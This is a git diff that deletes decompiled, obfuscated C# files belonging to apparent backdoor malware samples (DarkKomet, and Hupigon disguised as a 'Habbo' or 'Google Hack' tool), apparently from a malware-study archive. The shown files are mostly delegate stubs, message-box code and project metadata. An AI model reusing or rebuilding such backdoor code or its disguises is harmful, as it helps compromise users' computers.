C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using \u007F\u0004; -using \u0096\u0004; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0096\u0004 -{ - internal class \u0095\u0004 : \u0091\u0004 - { - protected override void \u008D\u0005([In] \u0084\u0004 obj0) => obj0.\u0012\u0005(true); - - protected override void \u008B\u0005([In] \u0082\u0004 obj0) - { - obj0.\u0003\u0005(false); - if (obj0.\u009D\u0004()) - { - obj0.\u0004\u0005(); - } - else - { - int num = (int) \u0099\u0004.\u0086\u0007(\u0002.\u0002\u0002(2818), \u0002.\u0002\u0002(2915), MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - } - - protected override void \u008C\u0005([In] \u0080\u0004 obj0) - { - int num = (int) MessageBox.Show(obj0.\u009B\u0004().ToString(), \u0002.\u0002\u0002(2956), MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - - public static bool \u0005\u0002() - { - \u0091\u0004.\u008E\u0005((\u0091\u0004) new \u0095\u0004()); - return true; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0002.cs deleted file mode 100644 index 11207134..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0097\u0002([In] string obj0, [In] object obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0003.cs deleted file mode 100644 index 283cbc28..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string[] \u0097\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0004.cs deleted file mode 100644 index c5ad9137..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0097_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0097\u0004([In] object obj0, [In] Size obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0002.cs deleted file mode 100644 index 1c4ff728..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0098\u0002([In] string obj0, [In] object obj1, [In] object obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0003.cs deleted file mode 100644 index 806dfd91..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; - -internal delegate Assembly \u0098\u0003(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0004.cs deleted file mode 100644 index d26e8429..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0098_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0098\u0004([In] object obj0, [In] EventHandler obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0002.cs deleted file mode 100644 index bfbad846..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0099\u0002([In] object obj0, [In] object obj1, [In] object obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0003.cs deleted file mode 100644 index 9865938d..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0099\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0004.cs deleted file mode 100644 index 98a0955a..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0099_0004.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate DialogResult \u0099\u0004( - [In] string obj0, - [In] string obj1, - [In] MessageBoxButtons obj2, - [In] MessageBoxIcon obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009A_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009A_0002.cs deleted file mode 100644 index 63b7f4a8..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009A_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: š -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u009A\u0002([In] string obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009A_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009A_0003.cs deleted file mode 100644 index ade93da9..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009A_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: š -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Guid \u009A\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009B_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009B_0002.cs deleted file mode 100644 index 055c0ccb..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009B_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: › -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u009B\u0002([In] string obj0, [In] string obj1, [In] string obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009B_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009B_0003.cs deleted file mode 100644 index 44174c2f..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009B_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: › -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate ModuleHandle \u009B\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009C_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009C_0002.cs deleted file mode 100644 index 41349197..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009C_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: œ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u009C\u0002([In] string obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009C_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009C_0003.cs deleted file mode 100644 index d824676a..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009C_0003.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: œ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodBase \u009C\u0003([In] RuntimeMethodHandle obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009D_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009D_0002.cs deleted file mode 100644 index 891a13f3..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009D_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Text; - -internal delegate StringBuilder \u009D\u0002([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009D_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009D_0003.cs deleted file mode 100644 index 590cb4d2..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009D_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate ParameterInfo[] \u009D\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009E_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009E_0002.cs deleted file mode 100644 index 3d47c695..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009E_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ž -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Text; - -internal delegate StringBuilder \u009E\u0002([In] object obj0, [In] char obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009E_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009E_0003.cs deleted file mode 100644 index bead5570..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009E_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ž -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate object \u009E\u0003([In] object obj0, [In] object obj1, [In] object[] obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009F_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009F_0002.cs deleted file mode 100644 index 7eb0b8eb..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009F_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ÿ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Text; - -internal delegate StringBuilder \u009F\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009F_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009F_0003.cs deleted file mode 100644 index f6d20c7c..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_009F_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ÿ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodInfo \u009F\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/{3b5b0266-7005-4590-8529-9827ff51efb1} b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/{3b5b0266-7005-4590-8529-9827ff51efb1} deleted file mode 100644 index b7c27be9..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/{3b5b0266-7005-4590-8529-9827ff51efb1} and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/{8a2cc06e-b699-4a98-98ee-08831fc9c995} b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/{8a2cc06e-b699-4a98-98ee-08831fc9c995} deleted file mode 100644 index 25a28fc3..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/{8a2cc06e-b699-4a98-98ee-08831fc9c995} and /dev/null differ diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/AssemblyInfo.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/AssemblyInfo.cs deleted file mode 100644 index 22bd0277..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("Copyright © 2004")] -[assembly: AssemblyTitle("Habbo")] -[assembly: ComVisible(false)] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Habbo")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("75221ba5-0ea8-4437-b35b-b71517bf7738")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Backdoor.Win32.Hupigon.eqlo.csproj b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Backdoor.Win32.Hupigon.eqlo.csproj deleted file mode 100644 index 7dc7d719..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Backdoor.Win32.Hupigon.eqlo.csproj +++ /dev/null @@ -1,56 +0,0 @@ - - - - - Debug - AnyCPU - {08696A9C-498C-4735-A435-9E984C32DD90} - WinExe - Google Hack - 1.0.0.0 - Habbo - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Backdoor.Win32.Hupigon.eqlo.sln b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Backdoor.Win32.Hupigon.eqlo.sln deleted file mode 100644 index bfdb677e..00000000 --- 